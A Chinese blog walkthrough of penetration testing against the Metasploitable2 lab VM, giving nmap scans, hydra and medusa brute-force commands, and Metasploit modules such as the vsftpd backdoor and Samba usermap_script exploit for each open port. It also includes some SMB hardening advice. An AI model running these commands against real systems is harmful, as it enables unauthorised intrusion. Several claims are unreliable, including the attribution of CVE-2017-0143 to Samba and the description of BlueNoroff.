靶场端口渗透实例

发布时间 2023-05-02 17:01:48作者: kalixcn

渗透测试

渗透测试是一种模拟攻击而不进行实际损害的技术,目的是发现网络和应用程序的安全漏洞。以下是一个典型的渗透测试过程的步骤,通常包括以下阶段:

  1. 情报收集:收集有关目标的信息以帮助发现漏洞或其他弱点。这包括目标的操作系统版本,网络拓扑结构,应用程序,可能包括用户信息等。
  2. 脆弱性分析:分析目标系统中存在的漏洞,包括对目标系统进行主动扫描和评估、应用程序攻击、社会工程学等测试。
  3. 渗透测试阶段:具体实施各类型渗透攻击测试,包括获取权限、尝试破解加密、窃取数据、升级权限等,以检测系统的安全漏洞。
  4. 漏洞利用:利用发现的漏洞攻击目标系统,尝试获取敏感数据、提权系统等,以此确定漏洞的危害性和影响范围。
  5. 报告编写:进行渗透测试的成果总结和报告编写,重点关注漏洞的风险等级、影响范围、建议解决方案。
  6. 发现修复和验证:对发现的漏洞进行问题跟踪,并与客户协商修复方案,确定漏洞修补并再次验证是否有效。

1. 端口扫描和服务识别
在渗透测试中,端口扫描和服务识别是了解目标系统所必须的基本步骤,它们可以揭示目标系统的攻击面、操作系统、开放的服务和协议等重要信息。以下是端口扫描和服务识别的几种常见方法:

  1. 手动端口扫描和服务识别:手动方法需要重点关注常见协议和服务端口,例如SSH(22端口)、HTTP(80、443端口)、FTP(20、21端口)、SMTP(25端口)等,并利用telnet、netcat、nc和nmap等工具手动测试是否可以连接或响应,根据响应内容确定服务版本。
  2. 自动端口扫描和服务识别:自动化工具可以加快端口扫描和服务识别的过程,例如nmap、Masscan、Zmap等,可以扫描整个IP地址范围或单个目标主机,并自动检测每个端口上的协议和服务,同时识别服务版本。
    3. 指纹识别工具:指纹识别工具用于快速识别目标端口上运行的服务和应用程序的版本信息。这些工具通常基于已知的指纹数据库,例如Fingerbank、Nmap和Wappalyzer等,用于捕获和比较服务捕获的特征,以确定服务运行的准确版本。

2. 获取漏洞信息
一旦知道了目标系统上运行的具体服务和版本号,渗透测试人员可以使用各种漏洞扫描器和漏洞数据库来查找与该版本相关的以知漏洞,以下是几种查找漏洞的方法:

  1. 利用已知漏洞数据库:常见的漏洞数据库包括CVE、NVD、Exploit Database、vFeed等,可以通过关键字、漏洞类型或参考文献等方式进行搜索和查找,以找到与目标服务版本相对应的漏洞。
  2. 使用漏洞扫描器:漏洞扫描工具如Nessus、OpenVAS、Qualys等可以对目标服务和应用程序进行自动扫描,以查找与该版本对应的已知漏洞。漏洞扫描器通常会输出漏洞的严重级别、影响范围等详细信息,并给出建议的修复方案。
  3. 分析已知漏洞的攻击代码:分析已知漏洞的攻击代码和脚本可以帮助渗透测试人员了解漏洞的工作原理和攻击方式,需要重点关注漏洞利用的条件和可能的攻击后果,并尝试使用已有的代码进行漏洞利用。

一些常见的漏洞数据库网站:

  1. CVE官方网站:https://cve.mitre.org/
    CVE是“通用漏洞披露计划”的简称,是一种用于标识和描述软件和硬件中已知安全漏洞的公共数据库。
  2. NVD官方网站:https://nvd.nist.gov/
    国家标准技术研究院(NIST)的漏洞数据库,提供关于软件漏洞及其风险的公共计算机安全数据。
  3. Exploit Database:https://www.exploit-db.com/
    Exploit Database是常见的漏洞利用代码和参考资料的收集和分类数据库,可用于漏洞分析和漏洞利用。
  4. SecurityFocus:https://www.securityfocus.com/
    SecurityFocus是一个网络安全知识库和咨询网站。它以提供漏洞信息、安全咨询、漏洞测试、安全新闻等安全知识服务著称。
  5. CNVD官方网站:http://www.cnvd.org.cn/
    国家信息安全漏洞库(CNVD)是由信息安全等部门联合开发的漏洞信息共享库,用于统一管理和发布我国信息技术和网络安全领域的漏洞信息。

Metasploitable2渗透练习

通过nmap扫描Metasploitable2的端口对应服务版本信息

nmap -sV 10.10.10.135

# 或者进行全端口扫描
nmap -p 0-65535 10.10.10.135

结果如下:

Nmap scan report for bogon (10.10.10.135)
Host is up (0.0027s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec?
513/tcp  open  login?
514/tcp  open  shell?
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:AE:65:25 (VMware)
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May  1 09:07:08 2023 -- 1 IP address (1 host up) scanned in 156.90 seconds

1. 21端口

FTP是File Transfer Protocol(文件传输协议)的缩写,它是一种为实现在客户端和服务端之间传输文件而设计的标准协议,在FTP协议中,一些常见的主要漏洞:

  • 匿名登录漏洞:FTP服务器通常安装了默认的匿名账号,如果为进行有效的配置,攻击者可以轻易地通过匿名登录获取服务器上的敏感信息。
  • 主动模式和被动模式漏洞:FTP协议支持两种数据传输模式:主动和被动。这两种模式都有安全漏洞,攻击者可以利用它们进行中间人攻击、数据窃取等。
  • 恶意传输漏洞:在输出过程中,攻击者可以向FTP服务器上传恶意文件、木马程序等来攻击FTP服务器和用户。
  • FTP Bounce(反弹)攻击漏洞:FTP Bounce攻击可以利用FTP服务器中转数据流,在目标网络执行任意TCP协议连接,例如其他系统的端口扫描、DoS(拒绝服务)攻击等。
  • 配置错误漏洞:FTP服务器的配置错误也可能导致安全漏洞,例如未启动SSL/TLS安全传输协议、使用弱交换秘钥算法等。

1. 查看是否允许匿名登录

nmap --script=ftp-anon 10.10.10.135

img

2. 暴力破解FTP账号密码

  1. 使用nmap破解FTP账号密码
nmap --script=ftp-brute 10.10.10.135

img

  1. 使用hydra破解FTP账号密码
hydra -L /root/Desktop/user.txt -P /root/Desktop/passwd.txt  ftp://10.10.10.135:21 

-L:指定账号文件
-P:指定密码忘记
ftp://10.10.10.135:21表示FTP服务器的IP地址和端口号

或者使用Medusa
medusa -h 10.10.10.135 -u user -P /usr/share/wordlists/password/rockyou.txt -e s -M ssh

img

  1. 使用Metasploit破解FTP账号密码
search ftp_login
use auxilary/scaner/ftp/ftp_login
set threads 10
set rhost 10.10.10.135
set pass_file password.txt
set user_file user.txt
run
  1. vsftpd是一款流行的FTP服务器软件,但是在vsftpd2.3.4版本中存在漏洞。利用过程:
use exploit/unix/ftp/vsftpd_234_backdoor
set rhost 10.10.10.135
exploit

或者使用nmap进行漏洞检测
nmap --script=ftp-vsftpd-backdoor -p 21 10.10.10.135

img

img

  1. 通过nmap漏洞扫描或者进行FTP相应脚本扫描
nmap --script=vuln 10.10.10.135
nmap --script=ftp-* -p 21 10.10.10.135

2. 22端口

SSH(Secure Shell)是一种加密网络协议,用于安全地连接到远程计算机并执行命令。虽然SSH是安全的通信协议,但是仍然存在一些漏洞,以下是一些常见的SSH漏洞:

  • Brute-Force攻击:SSH协议的基于口令的身份验证机制使其容易受到暴力破解攻击。攻击者可以使用多种工具和技术(如Hydra和Medusa等)尝试使用常见的用户名和密码组合来登录SSH服务器。
  • 脆弱的加密:SSH协议中使用的某些加密算法已经被证明容易受到攻击。
  • 未修改的漏洞:SSH协议及其相关组件中可能存在一些已知漏洞,如果没有及时修复,攻击者可以利用这些漏洞侵入服务器和目标系统。

1. SSH账号密码爆破

  1. 使用nmap爆破ssh账号密码
 nmap --script=ssh-brute -p 22 10.10.10.135

img
2. 使用hydra爆破ssh账号密码

hydra -l root -P '/root/Desktop/passwd.txt'  ssh://10.10.10.135
  1. 使用metasploitable爆破ssh账号密码
爆破账号
use auxiliary/scanner/ssh/ssh_enumusers
set user_file user.txt
set rhosts 10.10.10.135
exploit

爆破账号密码
use auxiliary/scanner/ssh/ssh_login
set user_file user.txt
set pass_file pass.txt
exploit
  1. 查看秘钥相关信息
nmap -p 22 10.10.10.135 --script ssh2-enum-algos

nmap-p 22 10.10.10.135 --script ssh-hostkey --script-args ssh_hostkey=full

3. 23端口

Telnet是一种早期的网络协议,现在已经被SSH协议取代,一些旧的设备仍然使用Telnet,以下是Telnet常见漏洞:

  • 明文传输:Telnet协议传输数据时未加密,而是以明文形式和其他设备通信,使得容易受到数据窃听和篡改攻击。
  • 远程命令执行:Telnet服务中几乎不存在身份验证机制,攻击者可能利用这一漏洞发起远程命令执行攻击。
  • 拒绝服务攻击:如TCP SYN泛洪等方式攻击,会导致服务器资源耗尽,导致服务不可用。
  • 端口重用:攻击者可将另一协议的流量路由至Telnet端口,并因此获取Telnet会话信息。
  1. 暴力破解
nmap -p 23 --script=telnet-brute 10.10.10.135

use auxiliary/scanner/telnet/telnet_login
set rhost 10.10.10.135
set user_file user.txt
set pass_file pass.txt
run

4. 25端口

SMTP(Simple Mail Transfer Protocol)是一种用于发送和接受电子邮件的标准通信协议,尽管SMTP本身相对安全,但仍然可能存在一些漏洞,可能被攻击者利用来攻击系统。以下是SMTP常见的漏洞:

  • 拒绝服务攻击:攻击者可以使用大量无用电子邮件向SMTP服务器发送请求,导致SMTP服务器资源耗尽,使得SMTP服务器的正常服务受到影响。
  • 身份验证机制漏洞:SMTP协议中的身份验证机制通过明文或简单加密方式传递用户名和密码,可能被攻击者窃取或者破解。
  • 跨脚本攻击(XSS):通过SMTP邮件客户端的漏洞,攻击者可以在电子邮件消息中插入恶意脚本,击败用户。
  • 邮箱欺骗:通过构造虚假发送者地址、地址伪装、重定向等方式实现对SMTP邮件服务器的欺骗。
  1. 枚举SMTP用户名
telnet 10.10.10.135 25
VRFY root
如果返回220,则用户root存在;若返回550,则用户不存在

smtp-user-enum是一款专门用来进行SMTP用户枚举的工具
Smtp-user-enum -M VRFY -U 用户字典路径 -t 目标IP地址

use auxiliary/scanner/smtp/smtp_enum
show options
  1. SMTP暴力破解
Medusa -h 目标ip -u 用户名 -P 密码字典文件 -M 协议模块

Medusa -h 10.10.10.135 -U user.txt -P pass.txt -M smtp
  1. 相关的漏洞扫描
nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 10.10.10.135

5. 53端口

DNS(Domain Name System)服务,用于将域名转换为IP地址。常见的DNS漏洞如下:

  • DNS劫持:攻击者可以通过攻击DNS服务器,篡改DNS资源记录,将受害者重定向到恶意网站,重而窃取敏感信息或者绕过访问控制。
  • DNS缓存投毒攻击:攻击者可以通过向DNS缓存服务器发送伪造的DNS响应,将缓存中的域名解析结果更改为恶意IP地址,将流量重定向到自己的服务器。
  • DNS隐蔽通道攻击:攻击者可以通过利用DNS通道进行数据的传输,让防火墙无法检测到该攻击,并实现与外界的通信。
  • DNS拒绝服务攻击:通过向DNS服务器发送大量请求,使其消耗资源,导致DNS服务器无法处理合法的请求。

6. 111端口

111端口是RPC(Remote Procedure Call)协议的绑定端口,用于远程调用程序。111端口常见漏洞如下:

  • NFS(Network File System)共享漏洞:攻击者可以利用NFS服务暴露的共享目录,获取远程主机上的敏感信息或者远程执行恶意代码。
  • NIS(Network Information System)未授权访问漏洞:攻击者可以利用NIS服务未正确配置的权限,获取主机上的美感消息或者执行恶意代码。
  • RPC挂起漏洞:攻击者可以利用RPC服务出现错误导致挂起的漏洞,使得网络中的其他节点无法访问受影响的RPC服务。
  • Linux RPC细节溢出漏洞:攻击者可以执行基于堆栈溢出和缓冲区等攻击,导致系统崩溃、拒绝服务等恶意活动。

7. 139端口/445端口

139端口是Windows系统中的SMB(Server Message Block)协议的绑定端口,用于文件和打印机共享。由于SMB服务经常被外部访问,因此存在一些安全漏洞,以下是139端口常见漏洞:

  • SMB协议未授权访问漏洞:攻击者可以通过连接到139端口,并且使用空用户或弱密码等方式获取SMB服务未授权访问的最高权限。
  • SMB远程代码执行漏洞:攻击者可以通过发送精心构造的SMB请求来执行远程代码,进而获取系统的最高权限。
  • SMB拒绝服务漏洞:攻击者可以发送大量相同的SMB请求来消耗SMB服务器的资源,导致相同崩溃或无法对其他合法请求做出响应。
  • SMB消息泄露漏洞:攻击者可以通过SMB服务获取敏感信息,例如系统配置信息、用户名、密码等等。

445端口是SMB(Server Message Block)协议的绑定端口,用于网络共享和文件传输。SMB广泛用于Windows系统中的文件和打印机共享,因此存在许多安全漏洞:

  • SMB1协议漏洞:SMB1是早期版本的SMB,经常被攻击者利用,例如WannaCry和ETERNLBUE等恶意软件家族。利用SMB1漏洞可以远程执行任意代码或拒绝服务攻击。
  • SMB2协议漏洞:由于SMB2实现复杂,因此它也存在一些安全漏洞,例如CVE-2020-0796(SMBGhost)和CVE-2017-0144(EternalBlue)。攻击者可以使用这些漏洞来远程执行代码或者拒绝服务攻击。
  • SMB匿名访问漏洞:如果管理员不正确配置了SMB服务器,攻击者可以通过匿名访问SMB共享,获取系统数据或者上传恶意软件。
  • SMB认证漏洞:如果SMB服务器通过弱密码或默认凭据进行身份验证,攻击者可以利用它来获取系统权限,上传/下载文件或者执行其他恶意活动。

netbios-ssn是一个基于NetBIOS协议的SMB文件和打印机共享服务。Samba是一个流行的开源协议,它允许Linux和UNIX系统与Windows系统之间共享文件和打印机。但是旧版本的Samba版本中存在一些安全漏洞,例如CVE-2017-0143,影响了Samba版本3.X到4.X,并由于处理不当的SMB请求而允许远程攻击者执行任意代码。具体来说,攻击者可以通过特殊构造的SMB1请求,生成一个空指针引用,使得smdb守护程序崩溃并执行恶意代码。

此漏洞可能对网络安全造成严重威胁,使得远程攻击者可以执行任意代码并获取高权限访问受害者系统中的敏感数据。渗透测试人员可以使用特殊工具和技术利用这些漏洞。

为了避免这个漏洞,管理员应该采取以下措施来保护smbd服务:

更新Samba至最新版本,确保安全补丁已安装。

禁用SMBv1,并采用更安全的SMB版本(例如SMBv2或SMBv3)。

对Samba进行严格的访问控制设置,限制网络中的访问。

定期审查文件和目录的共享设置,并对默认的文件和共享设置进行必要的更改。

除此之外,管理员还应该启用入侵检测和防火墙等安全措施来保护网络免受攻击。

  1. 枚举用户名
enum4linux -n 10.10.10.135

nmblookup -A 10.10.10.135

nmap --script=smb-enum-* --script-args=unsafe=1 -T 5 10.10.10.135

img

  1. 获取版本信息
use auxiliary/scanner/smb/smb_version
set rhosts 10.10.10.135
run

smbclient -L \\\\10.10.10.135

img

img

  1. 暴力破解SMB
medusa -h 10.10.10.135 -U user.txt -P pass.txt -M smbnt

hydra -L /root/Desktop/user.txt -P /root/Desktop/passwd.txt  smb://10.10.10.135 -vV

nmap -p 139,445 --script=smb-brute --script-args userdb=user.txt,passdb=pass.txt 10.10.10.135

nmap --script=smb-brute 10.10.10.135
  1. 检测漏洞利用
nmap --script=smb-vuln* -p 139,445 -T 5 -Pn 10.10.10.135

use exploit/multi/samba/usermap_script
set rhosts 10.10.10.135
set lhost 10.10.10.128
run

img

8. 5900端口

VNC(Virtual Network Computing)是一种远程桌面技术,可以远程控制桌面计算机。VNC客户端将屏幕图像传输到远程VNC服务器,用户可以通过网络远程连接控制VNC服务器上的计算机。VNC默认使用TCP端口5900进行通信,可能存在的漏洞:

  • 未加密的数据传输:VNC默认情况下传输的数据未加密,可能被中间人攻击窃取和篡改。
  • 弱密码
  • 拒绝服务攻击
  • 远程执行代码漏洞
nmap --script=vnc-info,vnc-title,vnc-brute -p 5900 10.10.10.135

9. 3389端口

3389端口是远程桌面协议(RDP)的默认端口,它是指定RDP服务用于监听传入连接的端口。攻击者发现3389端口的漏洞就可以直接暴力破解用户账户,并且可以轻松远程控制用户的计算机。以下是一些可能存在于RDP服务的3389端口的漏洞:

BluNoroff漏洞: BluNoroff是一种名为Lazarus Group的韩国黑客组织用来攻击金融机构的恶意软件。它可以利用3389端口漏洞直接访问终端服务器,并获得管理员访问权限以执行操作。

BlueKeep漏洞: BlueKeep是一种致命性的远程桌面漏洞,可允许攻击者在未经授权的情况下访问或控制通过3389端口开放的远程计算机。

远程代码执行攻击: 攻击者利用3389端口漏洞注入恶意代码进行远程代码执行 (RCE) 并获取远程电脑的控制权。
  1. 弱口令爆破
hydra 10.10.10.135 rdp -L user.txt -P passwd.txt -V
  1. 漏洞扫描
nmap -p 3389 --script=rdp-vuln-ms12-020 10.10.10.135

rdesktop -u username -p password -g 85% -r disk:share=/root/ 10.10.10.135

rdesktop -u guest -p guest 10.10.10.135 -g 94%